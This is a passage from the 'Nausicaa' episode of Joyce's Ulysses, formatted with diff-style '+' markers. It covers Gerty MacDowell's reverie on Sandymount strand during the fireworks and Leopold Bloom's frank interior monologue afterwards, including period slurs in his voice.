+her mother's taking pinches of snuff and that was the only single thing +they ever had words about, taking snuff. Everyone thought the world of her +for her gentle ways. It was Gerty who turned off the gas at the main every +night and it was Gerty who tacked up on the wall of that place where she +never forgot every fortnight the chlorate of lime Mr Tunney the grocer's +christmas almanac, the picture of halcyon days where a young gentleman in +the costume they used to wear then with a threecornered hat was offering a +bunch of flowers to his ladylove with oldtime chivalry through her lattice +window. You could see there was a story behind it. The colours were done +something lovely. She was in a soft clinging white in a studied attitude +and the gentleman was in chocolate and he looked a thorough aristocrat. +She often looked at them dreamily when she went there for a certain +purpose and felt her own arms that were white and soft just like hers with +the sleeves back and thought about those times because she had found out +in Walker's pronouncing dictionary that belonged to grandpapa Giltrap +about the halcyon days what they meant. + +The twins were now playing in the most approved brotherly fashion till at +last Master Jacky who was really as bold as brass there was no getting +behind that deliberately kicked the ball as hard as ever he could down +towards the seaweedy rocks. Needless to say poor Tommy was not slow to +voice his dismay but luckily the gentleman in black who was sitting there +by himself came gallantly to the rescue and intercepted the ball. Our two +champions claimed their plaything with lusty cries and to avoid trouble +Cissy Caffrey called to the gentleman to throw it to her please. The +gentleman aimed the ball once or twice and then threw it up the strand +towards Cissy Caffrey but it rolled down the slope and stopped right under +Gerty's skirt near the little pool by the rock. The twins clamoured again +for it and Cissy told her to kick it away and let them fight for it so +Gerty drew back her foot but she wished their stupid ball hadn't come +rolling down to her and she gave a kick but she missed and Edy and Cissy +laughed. + +--If you fail try again, Edy Boardman said. + +Gerty smiled assent and bit her lip. A delicate pink crept into her +pretty cheek but she was determined to let them see so she just lifted her +skirt a little but just enough and took good aim and gave the ball a jolly +good kick and it went ever so far and the two twins after it down towards +the shingle. Pure jealousy of course it was nothing else to draw attention +on account of the gentleman opposite looking. She felt the warm flush, a +danger signal always with Gerty MacDowell, surging and flaming into her +cheeks. Till then they had only exchanged glances of the most casual but +now under the brim of her new hat she ventured a look at him and the face +that met her gaze there in the twilight, wan and strangely drawn, seemed +to her the saddest she had ever seen. + +Through the open window of the church the fragrant incense was wafted and +with it the fragrant names of her who was conceived without stain of +original sin, spiritual vessel, pray for us, honourable vessel, pray for +us, vessel of singular devotion, pray for us, mystical rose. And careworn +hearts were there and toilers for their daily bread and many who had erred +and wandered, their eyes wet with contrition but for all that bright with +hope for the reverend father Father Hughes had told them what the great +saint Bernard said in his famous prayer of Mary, the most pious Virgin's +intercessory power that it was not recorded in any age that those who +implored her powerful protection were ever abandoned by her. + +The twins were now playing again right merrily for the troubles of +childhood are but as fleeting summer showers. Cissy Caffrey played with +baby Boardman till he crowed with glee, clapping baby hands in air. Peep +she cried behind the hood of the pushcar and Edy asked where was Cissy +gone and then Cissy popped up her head and cried ah! and, my word, +didn't the little chap enjoy that! And then she told him to say papa. + +--Say papa, baby. Say pa pa pa pa pa pa pa. + +And baby did his level best to say it for he was very intelligent for +eleven months everyone said and big for his age and the picture of health, +a perfect little bunch of love, and he would certainly turn out to be +something great, they said. + +--Haja ja ja haja. + +Cissy wiped his little mouth with the dribbling bib and wanted him to sit +up properly and say pa pa pa but when she undid the strap she cried out, +holy saint Denis, that he was possing wet and to double the half blanket +the other way under him. Of course his infant majesty was most +obstreperous at such toilet formalities and he let everyone know it: + +--Habaa baaaahabaaa baaaa. + +And two great big lovely big tears coursing down his cheeks. It was all no +use soothering him with no, nono, baby, no and telling him about the +geegee and where was the puffpuff but Ciss, always readywitted, gave him +in his mouth the teat of the suckingbottle and the young heathen was +quickly appeased. + +Gerty wished to goodness they would take their squalling baby home out of +that and not get on her nerves, no hour to be out, and the little brats +of twins. She gazed out towards the distant sea. It was like the paintings +that man used to do on the pavement with all the coloured chalks and such +a pity too leaving them there to be all blotted out, the evening and the +clouds coming out and the Bailey light on Howth and to hear the music like +that and the perfume of those incense they burned in the church like a +kind of waft. And while she gazed her heart went pitapat. Yes, it was her +he was looking at, and there was meaning in his look. His eyes burned into +her as though they would search her through and through, read her very +soul. Wonderful eyes they were, superbly expressive, but could you trust +them? People were so queer. She could see at once by his dark eyes and his +pale intellectual face that he was a foreigner, the image of the photo she +had of Martin Harvey, the matinee idol, only for the moustache which she +preferred because she wasn't stagestruck like Winny Rippingham that +wanted they two to always dress the same on account of a play but she +could not see whether he had an aquiline nose or a slightly RETROUSSE from +where he was sitting. He was in deep mourning, she could see that, and the +story of a haunting sorrow was written on his face. She would have given +worlds to know what it was. He was looking up so intently, so still, and +he saw her kick the ball and perhaps he could see the bright steel buckles +of her shoes if she swung them like that thoughtfully with the toes down. +She was glad that something told her to put on the transparent stockings +thinking Reggy Wylie might be out but that was far away. Here was that of +which she had so often dreamed. It was he who mattered and there was joy +on her face because she wanted him because she felt instinctively that he +was like no-one else. The very heart of the girlwoman went out to him, her +dreamhusband, because she knew on the instant it was him. If he had +suffered, more sinned against than sinning, or even, even, if he had been +himself a sinner, a wicked man, she cared not. Even if he was a protestant +or methodist she could convert him easily if he truly loved her. There +were wounds that wanted healing with heartbalm. She was a womanly woman +not like other flighty girls unfeminine he had known, those cyclists +showing off what they hadn't got and she just yearned to know all, to +forgive all if she could make him fall in love with her, make him forget +the memory of the past. Then mayhap he would embrace her gently, like a +real man, crushing her soft body to him, and love her, his ownest girlie, +for herself alone. + +Refuge of sinners. Comfortress of the afflicted. ORA PRO NOBIS. Well +has it been said that whosoever prays to her with faith and constancy can +never be lost or cast away: and fitly is she too a haven of refuge for the +afflicted because of the seven dolours which transpierced her own heart. +Gerty could picture the whole scene in the church, the stained glass +windows lighted up, the candles, the flowers and the blue banners of the +blessed Virgin's sodality and Father Conroy was helping Canon O'Hanlon at +the altar, carrying things in and out with his eyes cast down. He looked +almost a saint and his confessionbox was so quiet and clean and dark and +his hands were just like white wax and if ever she became a Dominican nun +in their white habit perhaps he might come to the convent for the novena +of Saint Dominic. He told her that time when she told him about that in +confession, crimsoning up to the roots of her hair for fear he could see, +not to be troubled because that was only the voice of nature and we were +all subject to nature's laws, he said, in this life and that that was no +sin because that came from the nature of woman instituted by God, he said, +and that Our Blessed Lady herself said to the archangel Gabriel be it done +unto me according to Thy Word. He was so kind and holy and often and often +she thought and thought could she work a ruched teacosy with embroidered +floral design for him as a present or a clock but they had a clock she +noticed on the mantelpiece white and gold with a canarybird that came out +of a little house to tell the time the day she went there about the +flowers for the forty hours' adoration because it was hard to know what +sort of a present to give or perhaps an album of illuminated views of +Dublin or some place. + +The exasperating little brats of twins began to quarrel again and Jacky +threw the ball out towards the sea and they both ran after it. Little +monkeys common as ditchwater. Someone ought to take them and give them +a good hiding for themselves to keep them in their places, the both of +them. And Cissy and Edy shouted after them to come back because they +were afraid the tide might come in on them and be drowned. + +--Jacky! Tommy! + +Not they! What a great notion they had! So Cissy said it was the very +last time she'd ever bring them out. She jumped up and called them and she +ran down the slope past him, tossing her hair behind her which had a good +enough colour if there had been more of it but with all the thingamerry +she was always rubbing into it she couldn't get it to grow long because it +wasn't natural so she could just go and throw her hat at it. She ran +with long gandery strides it was a wonder she didn't rip up her skirt at +the side that was too tight on her because there was a lot of the tomboy +about Cissy Caffrey and she was a forward piece whenever she thought +she had a good opportunity to show and just because she was a good runner +she ran like that so that he could see all the end of her petticoat +running and her skinny shanks up as far as possible. It would have +served her just right if she had tripped up over something accidentally +on purpose with her high crooked French heels on her to make her look +tall and got a fine tumble. TABLEAU! That would have been a very charming +expose for a gentleman like that to witness. + +Queen of angels, queen of patriarchs, queen of prophets, of all saints, +they prayed, queen of the most holy rosary and then Father Conroy handed +the thurible to Canon O'Hanlon and he put in the incense and censed the +Blessed Sacrament and Cissy Caffrey caught the two twins and she was +itching to give them a ringing good clip on the ear but she didn't because +she thought he might be watching but she never made a bigger mistake in +all her life because Gerty could see without looking that he never +took his eyes off of her and then Canon O'Hanlon handed the thurible +back to Father Conroy and knelt down looking up at the Blessed Sacrament +and the choir began to sing the TANTUM ERGO and she just swung her foot +in and out in time as the music rose and fell to the TANTUMER GOSA +CRAMEN TUM. Three and eleven she paid for those stockings in Sparrow's +of George's street on the Tuesday, no the Monday before Easter and there +wasn't a brack on them and that was what he was looking at, transparent, +and not at her insignificant ones that had neither shape nor form +(the cheek of her!) because he had eyes in his head to see the difference +for himself. + +Cissy came up along the strand with the two twins and their ball with +her hat anyhow on her to one side after her run and she did look a streel +tugging the two kids along with the flimsy blouse she bought only a +fortnight before like a rag on her back and a bit of her petticoat hanging +like a caricature. Gerty just took off her hat for a moment to settle her +hair and a prettier, a daintier head of nutbrown tresses was never seen on +a girl's shoulders--a radiant little vision, in sooth, almost maddening in +its sweetness. You would have to travel many a long mile before you found +a head of hair the like of that. She could almost see the swift answering +flash of admiration in his eyes that set her tingling in every nerve. +She put on her hat so that she could see from underneath the brim and +swung her buckled shoe faster for her breath caught as she caught the +expression in his eyes. He was eying her as a snake eyes its prey. Her +woman's instinct told her that she had raised the devil in him and at the +thought a burning scarlet swept from throat to brow till the lovely colour +of her face became a glorious rose. + +Edy Boardman was noticing it too because she was squinting at Gerty, +half smiling, with her specs like an old maid, pretending to nurse the +baby. Irritable little gnat she was and always would be and that was why +no-one could get on with her poking her nose into what was no concern of +hers. And she said to Gerty: + +--A penny for your thoughts. + +--What? replied Gerty with a smile reinforced by the whitest of teeth. +I was only wondering was it late. + +Because she wished to goodness they'd take the snottynosed twins and their +babby home to the mischief out of that so that was why she just gave a +gentle hint about its being late. And when Cissy came up Edy asked her the +time and Miss Cissy, as glib as you like, said it was half past kissing +time, time to kiss again. But Edy wanted to know because they were told to +be in early. + +--Wait, said Cissy, I'll run ask my uncle Peter over there what's the time +by his conundrum. + +So over she went and when he saw her coming she could see him take his +hand out of his pocket, getting nervous, and beginning to play with his +watchchain, looking up at the church. Passionate nature though he was +Gerty could see that he had enormous control over himself. One moment he +had been there, fascinated by a loveliness that made him gaze, and the +next moment it was the quiet gravefaced gentleman, selfcontrol expressed +in every line of his distinguishedlooking figure. + +Cissy said to excuse her would he mind please telling her what was the +right time and Gerty could see him taking out his watch, listening to it +and looking up and clearing his throat and he said he was very sorry his +watch was stopped but he thought it must be after eight because the sun +was set. His voice had a cultured ring in it and though he spoke in +measured accents there was a suspicion of a quiver in the mellow tones. +Cissy said thanks and came back with her tongue out and said uncle said +his waterworks were out of order. + +Then they sang the second verse of the TANTUM ERGO and Canon +O'Hanlon got up again and censed the Blessed Sacrament and knelt down and +he told Father Conroy that one of the candles was just going to set fire +to the flowers and Father Conroy got up and settled it all right and she +could see the gentleman winding his watch and listening to the works and +she swung her leg more in and out in time. It was getting darker but he +could see and he was looking all the time that he was winding the watch or +whatever he was doing to it and then he put it back and put his hands back +into his pockets. She felt a kind of a sensation rushing all over her and +she knew by the feel of her scalp and that irritation against her stays +that that thing must be coming on because the last time too was when she +clipped her hair on account of the moon. His dark eyes fixed themselves +on her again drinking in her every contour, literally worshipping at her +shrine. If ever there was undisguised admiration in a man's passionate +gaze it was there plain to be seen on that man's face. It is for you, +Gertrude MacDowell, and you know it. + +Edy began to get ready to go and it was high time for her and Gerty +noticed that that little hint she gave had had the desired effect because +it was a long way along the strand to where there was the place to push up +the pushcar and Cissy took off the twins' caps and tidied their hair to +make herself attractive of course and Canon O'Hanlon stood up with his +cope poking up at his neck and Father Conroy handed him the card to read +off and he read out PANEM DE COELO PRAESTITISTI EIS and Edy and Cissy were +talking about the time all the time and asking her but Gerty could pay +them back in their own coin and she just answered with scathing politeness +when Edy asked her was she heartbroken about her best boy throwing her +over. Gerty winced sharply. A brief cold blaze shone from her eyes that +spoke volumes of scorn immeasurable. It hurt--O yes, it cut deep because +Edy had her own quiet way of saying things like that she knew would wound +like the confounded little cat she was. Gerty's lips parted swiftly to +frame the word but she fought back the sob that rose to her throat, +so slim, so flawless, so beautifully moulded it seemed one an artist +might have dreamed of. She had loved him better than he knew. +Lighthearted deceiver and fickle like all his sex he would never +understand what he had meant to her and for an instant there was +in the blue eyes a quick stinging of tears. Their eyes were +probing her mercilessly but with a brave effort she sparkled back in +sympathy as she glanced at her new conquest for them to see. + +--O, responded Gerty, quick as lightning, laughing, and the proud head +flashed up. I can throw my cap at who I like because it's leap year. + +Her words rang out crystalclear, more musical than the cooing of the +ringdove, but they cut the silence icily. There was that in her young +voice that told that she was not a one to be lightly trifled with. +As for Mr Reggy with his swank and his bit of money she could just +chuck him aside as if he was so much filth and never again would she +cast as much as a second thought on him and tear his silly postcard +into a dozen pieces. And if ever after he dared to presume she +could give him one look of measured scorn that would make him +shrivel up on the spot. Miss puny little Edy's countenance fell to +no slight extent and Gerty could see by her looking as black as +thunder that she was simply in a towering rage though she hid it, the +little kinnatt, because that shaft had struck home for her petty jealousy +and they both knew that she was something aloof, apart, in another sphere, +that she was not of them and never would be and there was somebody else +too that knew it and saw it so they could put that in their pipe +and smoke it. + +Edy straightened up baby Boardman to get ready to go and Cissy +tucked in the ball and the spades and buckets and it was high time too +because the sandman was on his way for Master Boardman junior. And +Cissy told him too that billy winks was coming and that baby was to go +deedaw and baby looked just too ducky, laughing up out of his gleeful +eyes, and Cissy poked him like that out of fun in his wee fat tummy and +baby, without as much as by your leave, sent up his compliments to all +and sundry on to his brandnew dribbling bib. + +--O my! Puddeny pie! protested Ciss. He has his bib destroyed. + +The slight CONTRETEMPS claimed her attention but in two twos she set +that little matter to rights. + +Gerty stifled a smothered exclamation and gave a nervous cough and +Edy asked what and she was just going to tell her to catch it while it was +flying but she was ever ladylike in her deportment so she simply passed it +off with consummate tact by saying that that was the benediction because +just then the bell rang out from the steeple over the quiet seashore +because Canon O'Hanlon was up on the altar with the veil that Father +Conroy put round his shoulders giving the benediction with the Blessed +Sacrament in his hands. + +How moving the scene there in the gathering twilight, the last glimpse of +Erin, the touching chime of those evening bells and at the same time a bat +flew forth from the ivied belfry through the dusk, hither, thither, with a +tiny lost cry. And she could see far away the lights of the lighthouses so +picturesque she would have loved to do with a box of paints because it was +easier than to make a man and soon the lamplighter would be going his +rounds past the presbyterian church grounds and along by shady +Tritonville avenue where the couples walked and lighting the lamp near her +window where Reggy Wylie used to turn his freewheel like she read in that +book THE LAMPLIGHTER by Miss Cummins, author of MABEL VAUGHAN and +other tales. For Gerty had her dreams that no-one knew of. She loved to +read poetry and when she got a keepsake from Bertha Supple of that lovely +confession album with the coralpink cover to write her thoughts in she +laid it in the drawer of her toilettable which, though it did not err +on the side of luxury, was scrupulously neat and clean. It was there +she kept her girlish treasure trove, the tortoiseshell combs, her +child of Mary badge, the whiterose scent, the eyebrowleine, her +alabaster pouncetbox and the ribbons to change when her things came +home from the wash and there were some beautiful thoughts written +in it in violet ink that she bought in Hely's of Dame Street for +she felt that she too could write poetry if she could only express +herself like that poem that appealed to her so deeply that she had +copied out of the newspaper she found one evening round the potherbs. ART +THOU REAL, MY IDEAL? it was called by Louis J Walsh, Magherafelt, and +after there was something about TWILIGHT, WILT THOU EVER? and ofttimes +the beauty of poetry, so sad in its transient loveliness, had misted +her eyes with silent tears for she felt that the years were slipping +by for her, one by one, and but for that one shortcoming she knew she +need fear no competition and that was an accident coming down Dalkey +hill and she always tried to conceal it. But it must end, she felt. +If she saw that magic lure in his eyes there would be no holding +back for her. Love laughs at locksmiths. She would make the great +sacrifice. Her every effort would be to share his thoughts. Dearer than +the whole world would she be to him and gild his days with happiness. +There was the allimportant question and she was dying to know was he a +married man or a widower who had lost his wife or some tragedy like the +nobleman with the foreign name from the land of song had to have her put +into a madhouse, cruel only to be kind. But even if--what then? Would it +make a very great difference? From everything in the least indelicate her +finebred nature instinctively recoiled. She loathed that sort of person, +the fallen women off the accommodation walk beside the Dodder that went +with the soldiers and coarse men with no respect for a girl's honour, +degrading the sex and being taken up to the police station. No, no: not +that. They would be just good friends like a big brother and sister +without all that other in spite of the conventions of Society with a big +ess. Perhaps it was an old flame he was in mourning for from the days +beyond recall. She thought she understood. She would try to understand +him because men were so different. The old love was waiting, waiting +with little white hands stretched out, with blue appealing eyes. Heart +of mine! She would follow, her dream of love, the dictates of her heart +that told her he was her all in all, the only man in all the world +for her for love was the master guide. Nothing else mattered. Come what +might she would be wild, untrammelled, free. + +Canon O'Hanlon put the Blessed Sacrament back into the tabernacle +and genuflected and the choir sang LAUDATE DOMINUM OMNES GENTES and +then he locked the tabernacle door because the benediction was over and +Father Conroy handed him his hat to put on and crosscat Edy asked wasn't +she coming but Jacky Caffrey called out: + +--O, look, Cissy! + +And they all looked was it sheet lightning but Tommy saw it too over +the trees beside the church, blue and then green and purple. + +--It's fireworks, Cissy Caffrey said. + +And they all ran down the strand to see over the houses and the +church, helterskelter, Edy with the pushcar with baby Boardman in it and +Cissy holding Tommy and Jacky by the hand so they wouldn't fall running. + +--Come on, Gerty, Cissy called. It's the bazaar fireworks. + +But Gerty was adamant. She had no intention of being at their beck and +call. If they could run like rossies she could sit so she said she could +see from where she was. The eyes that were fastened upon her set +her pulses tingling. She looked at him a moment, meeting his glance, +and a light broke in upon her. Whitehot passion was in that face, passion +silent as the grave, and it had made her his. At last they were left +alone without the others to pry and pass remarks and she knew he +could be trusted to the death, steadfast, a sterling man, a man of +inflexible honour to his fingertips. His hands and face were working +and a tremour went over her. She leaned back far to look up where +the fireworks were and she caught her knee in her hands so as not +to fall back looking up and there was no-one to see only him and +her when she revealed all her graceful beautifully shaped legs like that, +supply soft and delicately rounded, and she seemed to hear the panting +of his heart, his hoarse breathing, because she knew too about the passion +of men like that, hotblooded, because Bertha Supple told her once in dead +secret and made her swear she'd never about the gentleman lodger that was +staying with them out of the Congested Districts Board that had pictures +cut out of papers of those skirtdancers and highkickers and she said he +used to do something not very nice that you could imagine sometimes in +the bed. But this was altogether different from a thing like that +because there was all the difference because she could almost feel +him draw her face to his and the first quick hot touch of his +handsome lips. Besides there was absolution so long as you didn't +do the other thing before being married and there ought to be +women priests that would understand without your telling out and +Cissy Caffrey too sometimes had that dreamy kind of dreamy look +in her eyes so that she too, my dear, and Winny Rippingham so mad +about actors' photographs and besides it was on account of that other +thing coming on the way it did. + +And Jacky Caffrey shouted to look, there was another and she leaned back +and the garters were blue to match on account of the transparent and they +all saw it and they all shouted to look, look, there it was and she leaned +back ever so far to see the fireworks and something queer was flying +through the air, a soft thing, to and fro, dark. And she saw a long Roman +candle going up over the trees, up, up, and, in the tense hush, +they were all breathless with excitement as it went higher and higher +and she had to lean back more and more to look up after it, high, +high, almost out of sight, and her face was suffused with a divine, +an entrancing blush from straining back and he could see her other +things too, nainsook knickers, the fabric that caresses the skin, +better than those other pettiwidth, the green, four and eleven, +on account of being white and she let him and she saw that he saw and then +it went so high it went out of sight a moment and she was trembling in +every limb from being bent so far back that he had a full view +high up above her knee where no-one ever not even on the swing or wading +and she wasn't ashamed and he wasn't either to look in that immodest way +like that because he couldn't resist the sight of the wondrous revealment +half offered like those skirtdancers behaving so immodest before gentlemen +looking and he kept on looking, looking. She would fain have cried to him +chokingly, held out her snowy slender arms to him to come, to feel his +lips laid on her white brow, the cry of a young girl's love, a little +strangled cry, wrung from her, that cry that has rung through the ages. +And then a rocket sprang and bang shot blind blank and O! then the Roman +candle burst and it was like a sigh of O! and everyone cried O! O! in +raptures and it gushed out of it a stream of rain gold hair threads and +they shed and ah! they were all greeny dewy stars falling with golden, +O so lovely, O, soft, sweet, soft! + +Then all melted away dewily in the grey air: all was silent. Ah! She +glanced at him as she bent forward quickly, a pathetic little glance of +piteous protest, of shy reproach under which he coloured like a girl +He was leaning back against the rock behind. Leopold Bloom (for it is he) +stands silent, with bowed head before those young guileless eyes. What a +brute he had been! At it again? A fair unsullied soul had called to him +and, wretch that he was, how had he answered? An utter cad he had been! +He of all men! But there was an infinite store of mercy in those eyes, +for him too a word of pardon even though he had erred and sinned and +wandered. Should a girl tell? No, a thousand times no. That was their +secret, only theirs, alone in the hiding twilight and there was none to +know or tell save the little bat that flew so softly through the evening +to and fro and little bats don't tell. + +Cissy Caffrey whistled, imitating the boys in the football field to show +what a great person she was: and then she cried: + +--Gerty! Gerty! We're going. Come on. We can see from farther up. + +Gerty had an idea, one of love's little ruses. She slipped a hand into +her kerchief pocket and took out the wadding and waved in reply of course +without letting him and then slipped it back. Wonder if he's too far to. +She rose. Was it goodbye? No. She had to go but they would meet again, +there, and she would dream of that till then, tomorrow, of her dream of +yester eve. She drew herself up to her full height. Their souls met in a +last lingering glance and the eyes that reached her heart, full of a +strange shining, hung enraptured on her sweet flowerlike face. She half +smiled at him wanly, a sweet forgiving smile, a smile that verged on +tears, and then they parted. + +Slowly, without looking back she went down the uneven strand to +Cissy, to Edy to Jacky and Tommy Caffrey, to little baby Boardman. It was +darker now and there were stones and bits of wood on the strand and slippy +seaweed. She walked with a certain quiet dignity characteristic of her but +with care and very slowly because--because Gerty MacDowell was ... + +Tight boots? No. She's lame! O! + +Mr Bloom watched her as she limped away. Poor girl! That's why she's left +on the shelf and the others did a sprint. Thought something was wrong by +the cut of her jib. Jilted beauty. A defect is ten times worse in a woman. +But makes them polite. Glad I didn't know it when she was on show. Hot +little devil all the same. I wouldn't mind. Curiosity like a nun or a +negress or a girl with glasses. That squinty one is delicate. Near her +monthlies, I expect, makes them feel ticklish. I have such a bad headache +today. Where did I put the letter? Yes, all right. All kinds of crazy +longings. Licking pennies. Girl in Tranquilla convent that nun told +me liked to smell rock oil. Virgins go mad in the end I suppose. +Sister? How many women in Dublin have it today? Martha, she. Something +in the air. That's the moon. But then why don't all women menstruate +at the same time with the same moon, I mean? Depends on the time +they were born I suppose. Or all start scratch then get out of step. +Sometimes Molly and Milly together. Anyhow I got the best of that. +Damned glad I didn't do it in the bath this morning over her silly +I will punish you letter. Made up for that tramdriver this morning. +That gouger M'Coy stopping me to say nothing. And his wife +engagement in the country valise, voice like a pickaxe. Thankful for small +mercies. Cheap too. Yours for the asking. Because they want it themselves. +Their natural craving. Shoals of them every evening poured out of offices. +Reserve better. Don't want it they throw it at you. Catch em alive, O. +Pity they can't see themselves. A dream of wellfilled hose. Where was +that? Ah, yes. Mutoscope pictures in Capel street: for men only. Peeping +Tom. Willy's hat and what the girls did with it. Do they snapshot +those girls or is it all a fake? LINGERIE does it. Felt for the +curves inside her DESHABILLE. Excites them also when they're. I'm all +clean come and dirty me. And they like dressing one another for the +sacrifice. Milly delighted with Molly's new blouse. At first. +Put them all on to take them all off. Molly. Why I bought her the violet +garters. Us too: the tie he wore, his lovely socks and turnedup trousers. +He wore a pair of gaiters the night that first we met. His lovely +shirt was shining beneath his what? of jet. Say a woman loses a charm with +every pin she takes out. Pinned together. O, Mairy lost the pin of her. +Dressed up to the nines for somebody. Fashion part of their charm. Just +changes when you're on the track of the secret. Except the east: Mary, +Martha: now as then. No reasonable offer refused. She wasn't in a hurry +either. Always off to a fellow when they are. They never forget an +appointment. Out on spec probably. They believe in chance because like +themselves. And the others inclined to give her an odd dig. Girl friends +at school, arms round each other's necks or with ten fingers locked, +kissing and whispering secrets about nothing in the convent garden. Nuns +with whitewashed faces, cool coifs and their rosaries going up and down, +vindictive too for what they can't get. Barbed wire. Be sure now and write +to me. And I'll write to you. Now won't you? Molly and Josie Powell. Till +Mr Right comes along, then meet once in a blue moon. TABLEAU! O, look +who it is for the love of God! How are you at all? What have you been +doing with yourself? Kiss and delighted to, kiss, to see you. Picking +holes in each other's appearance. You're looking splendid. Sister souls. +Showing their teeth at one another. How many have you left? Wouldn't lend +each other a pinch of salt. + +Ah! + +Devils they are when that's coming on them. Dark devilish appearance. +Molly often told me feel things a ton weight. Scratch the sole of +my foot. O that way! O, that's exquisite! Feel it myself too. Good to rest +once in a way. Wonder if it's bad to go with them then. Safe in one way. +Turns milk, makes fiddlestrings snap. Something about withering plants I +read in a garden. Besides they say if the flower withers she wears she's a +flirt. All are. Daresay she felt 1. When you feel like that you often meet +what you feel. Liked me or what? Dress they look at. Always know a fellow +courting: collars and cuffs. Well cocks and lions do the same and stags. +Same time might prefer a tie undone or something. Trousers? Suppose I +when I was? No. Gently does it. Dislike rough and tumble. Kiss in the dark +and never tell. Saw something in me. Wonder what. Sooner have me as I am +than some poet chap with bearsgrease plastery hair, lovelock over his +dexter optic. To aid gentleman in literary. Ought to attend to my +appearance my age. Didn't let her see me in profile. Still, you +never know. Pretty girls and ugly men marrying. Beauty and the +beast. Besides I can't be so if Molly. Took off her hat to show +her hair. Wide brim. Bought to hide her face, meeting someone might +know her, bend down or carry a bunch of flowers to smell. Hair +strong in rut. Ten bob I got for Molly's combings when we were on +the rocks in Holles street. Why not? Suppose he gave her money. +Why not? All a prejudice. She's worth ten, fifteen, more, a pound. What? I +think so. All that for nothing. Bold hand: Mrs Marion. Did I forget to +write address on that letter like the postcard I sent to Flynn? And the +day I went to Drimmie's without a necktie. Wrangle with Molly it was put +me off. No, I remember. Richie Goulding: he's another. Weighs on his mind. +Funny my watch stopped at half past four. Dust. Shark liver oil they use +to clean. Could do it myself. Save. Was that just when he, she? + +O, he did. Into her. She did. Done. + +Ah! + +Mr Bloom with careful hand recomposed his wet shirt. O Lord, that little +limping devil. Begins to feel cold and clammy. Aftereffect not pleasant. +Still you have to get rid of it someway. They don't care. Complimented +perhaps. Go home to nicey bread and milky and say night prayers with the +kiddies. Well, aren't they? See her as she is spoil all. Must have the +stage setting, the rouge, costume, position, music. The name too. AMOURS +of actresses. Nell Gwynn, Mrs Bracegirdle, Maud Branscombe. Curtain up. +Moonlight silver effulgence. Maiden discovered with pensive bosom. Little +sweetheart come and kiss me. Still, I feel. The strength it gives a man. +That's the secret of it. Good job I let off there behind the wall coming +out of Dignam's. Cider that was. Otherwise I couldn't have. Makes you want +to sing after. LACAUS ESANT TARATARA. Suppose I spoke to her. What about? +Bad plan however if you don't know how to end the conversation. Ask them a +question they ask you another. Good idea if you're stuck. Gain time. But +then you're in a cart. Wonderful of course if you say: good evening, and +you see she's on for it: good evening. O but the dark evening in the +Appian way I nearly spoke to Mrs Clinch O thinking she was. Whew! Girl in +Meath street that night. All the dirty things I made her say. All wrong of +course. My arks she called it. It's so hard to find one who. Aho! If you +don't answer when they solicit must be horrible for them till they harden. +And kissed my hand when I gave her the extra two shillings. Parrots. Press +the button and the bird will squeak. Wish she hadn't called me sir. O, her +mouth in the dark! And you a married man with a single girl! That's what +they enjoy. Taking a man from another woman. Or even hear of it. +Different with me. Glad to get away from other chap's wife. Eating off his +cold plate. Chap in the Burton today spitting back gumchewed gristle. +French letter still in my pocketbook. Cause of half the trouble. But might +happen sometime, I don't think. Come in, all is prepared. I dreamt. What? +Worst is beginning. How they change the venue when it's not what they +like. Ask you do you like mushrooms because she once knew a gentleman +who. Or ask you what someone was going to say when he changed his +mind and stopped. Yet if I went the whole hog, say: I want to, something +like that. Because I did. She too. Offend her. Then make it up. Pretend to +want something awfully, then cry off for her sake. Flatters them. She must +have been thinking of someone else all the time. What harm? Must since she +came to the use of reason, he, he and he. First kiss does the trick. The +propitious moment. Something inside them goes pop. Mushy like, tell by +their eye, on the sly. First thoughts are best. Remember that till their +dying day. Molly, lieutenant Mulvey that kissed her under the Moorish wall +beside the gardens. Fifteen she told me. But her breasts were developed. +Fell asleep then. After Glencree dinner that was when we drove home. +Featherbed mountain. Gnashing her teeth in sleep. Lord mayor had his eye +on her too. Val Dillon. Apoplectic. + +There she is with them down there for the fireworks. My fireworks. +Up like a rocket, down like a stick. And the children, twins they must be, +waiting for something to happen. Want to be grownups. Dressing in +mother's clothes. Time enough, understand all the ways of the world. And +the dark one with the mop head and the nigger mouth. I knew she could +whistle. Mouth made for that. Like Molly. Why that highclass whore in +Jammet's wore her veil only to her nose. Would you mind, please, telling +me the right time? I'll tell you the right time up a dark lane. Say prunes +and prisms forty times every morning, cure for fat lips. Caressing the +little boy too. Onlookers see most of the game. Of course they understand +birds, animals, babies. In their line. + +Didn't look back when she was going down the strand. Wouldn't give that +satisfaction. Those girls, those girls, those lovely seaside girls. Fine +eyes she had, clear. It's the white of the eye brings that out not so much +the pupil. Did she know what I? Course. Like a cat sitting beyond a dog's +jump. Women never meet one like that Wilkins in the high school drawing a +picture of Venus with all his belongings on show. Call that innocence? +Poor idiot! His wife has her work cut out for her. Never see them sit +on a bench marked WET PAINT. Eyes all over them. Look under the bed +for what's not there. Longing to get the fright of their lives. +Sharp as needles they are. When I said to Molly the man at the corner +of Cuffe street was goodlooking, thought she might like, twigged at +once he had a false arm. Had, too. Where do they get that? Typist +going up Roger Greene's stairs two at a time to show her understandings. +Handed down from father to, mother to daughter, I mean. Bred in the +bone. Milly for example drying her handkerchief on the mirror to +save the ironing. Best place for an ad to catch a woman's eye on a +mirror. And when I sent her for Molly's Paisley shawl to Prescott's +by the way that ad I must, carrying home the change in her stocking! +Clever little minx. I never told her. Neat way she carries parcels +too. Attract men, small thing like that. Holding up her hand, shaking it, +to let the blood flow back when it was red. Who did you learn that from? +Nobody. Something the nurse taught me. O, don't they know! Three years +old she was in front of Molly's dressingtable, just before we left Lombard +street west. Me have a nice pace. Mullingar. Who knows? Ways of the +world. Young student. Straight on her pins anyway not like the other. +Still she was game. Lord, I am wet. Devil you are. Swell of her calf. +Transparent stockings, stretched to breaking point. Not like that frump +today. A. E. Rumpled stockings. Or the one in Grafton street. White. Wow! +Beef to the heel. + +A monkey puzzle rocket burst, spluttering in darting crackles. Zrads +and zrads, zrads, zrads. And Cissy and Tommy and Jacky ran out to see +and Edy after with the pushcar and then Gerty beyond the curve of the +rocks. Will she? Watch! Watch! See! Looked round. She smelt an onion. +Darling, I saw, your. I saw all. + +Lord! + +Did me good all the same. Off colour after Kiernan's, Dignam's. For +this relief much thanks. In HAMLET, that is. Lord! It was all things +combined. Excitement. When she leaned back, felt an ache at the butt of my +tongue. Your head it simply swirls. He's right. Might have made a worse +fool of myself however. Instead of talking about nothing. Then I will tell +you all. Still it was a kind of language between us. It couldn't be? No, +Gerty they called her. Might be false name however like my name and the +address Dolphin's barn a blind. + + + HER MAIDEN NAME WAS 